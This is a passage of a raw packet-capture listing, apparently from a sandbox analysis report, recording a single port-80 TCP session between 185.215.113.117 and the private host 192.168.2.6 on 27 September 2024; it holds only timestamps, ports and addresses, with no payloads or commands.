Sep 27, 2024 16:18:20.121413946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121426105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121447086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121473074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121612072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121649981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121676922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121687889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121714115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121726990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.128005981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.128036976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.128047943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.128071070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.128093004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.128177881 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.128187895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.128199100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.128211021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.128221989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.128236055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.128268003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140181065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140207052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140237093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140244961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140279055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140292883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140297890 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140302896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140328884 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140341997 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140413046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140424013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140434027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140450001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140470028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140629053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140646935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140657902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140667915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140667915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140695095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140718937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140832901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140846968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.140872002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.140887022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168193102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168260098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168356895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168370008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168381929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168391943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168400049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168402910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168414116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168426037 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168463945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168519974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168529987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168559074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168582916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168627977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168639898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168665886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168677092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168761969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168771982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168781996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168792963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168801069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168828964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.168972969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168983936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.168993950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169004917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169008017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169015884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169035912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169095039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169222116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169233084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169243097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169251919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169255972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169274092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169298887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169460058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169471979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169481993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169492006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169497013 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169502974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169512987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169516087 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169544935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169724941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169734001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169759989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169785976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169786930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169799089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169807911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169817924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169821024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169827938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169837952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169838905 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169847012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.169857979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.169883013 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170176983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170187950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170197964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170207024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170214891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170217991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170228004 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170238018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170239925 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170248032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170258999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170258999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170286894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170298100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170814037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170825005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170835018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170845032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170855045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170855045 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170864105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170872927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170875072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170886040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170900106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170901060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170909882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170921087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170923948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170931101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170938969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170948029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170958042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170967102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.170969009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170979023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170989037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.170995951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.171015024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.171031952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.171709061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171720982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171730042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171740055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171750069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171751022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.171761036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171765089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.171771049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171782970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171792984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171802998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.171803951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.171819925 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.171835899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217129946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217147112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217158079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217169046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217184067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217194080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217197895 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217206001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217242956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217448950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217461109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217470884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217482090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217492104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217492104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217503071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217513084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217528105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217561007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217772961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217789888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217799902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217811108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217820883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217822075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217832088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217840910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217850924 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217852116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217863083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217871904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217883110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217883110 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217891932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217904091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.217905998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217931032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.217966080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.227868080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.227895021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.227905035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.227922916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.227941036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.227946043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.227952003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.227977037 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.227998018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228027105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228037119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228063107 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228081942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228158951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228168964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228200912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228221893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228233099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228243113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228256941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228283882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228380919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228390932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228399992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228425026 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228436947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.228512049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228522062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.228554964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.255796909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.255856991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256047964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256058931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256077051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256087065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256088972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256099939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256103992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256112099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256122112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256133080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256133080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256167889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256194115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256203890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256213903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256223917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256232023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256234884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256249905 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256282091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256402016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256442070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256443024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256454945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256494999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256566048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256577015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256587029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256597042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256597996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256597996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256638050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256661892 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256828070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256840944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256851912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256861925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256865978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256872892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256879091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256884098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.256905079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.256933928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257097960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257108927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257137060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257158995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257184029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257194996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257205009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257215977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257219076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257225990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257236004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257236958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257247925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257260084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257266998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257288933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257301092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257715940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257728100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257739067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257750034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257755041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257760048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257770061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257780075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257781029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257791996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257802963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257812977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.257814884 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257832050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.257855892 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258222103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258233070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258243084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258255005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258258104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258265972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258275986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258286953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258287907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258296013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258306980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258313894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258318901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258338928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258352041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258829117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258841038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258851051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258862019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258871078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258872986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258882999 CEST	80	49615	185.215.113.117	192.168.2.6
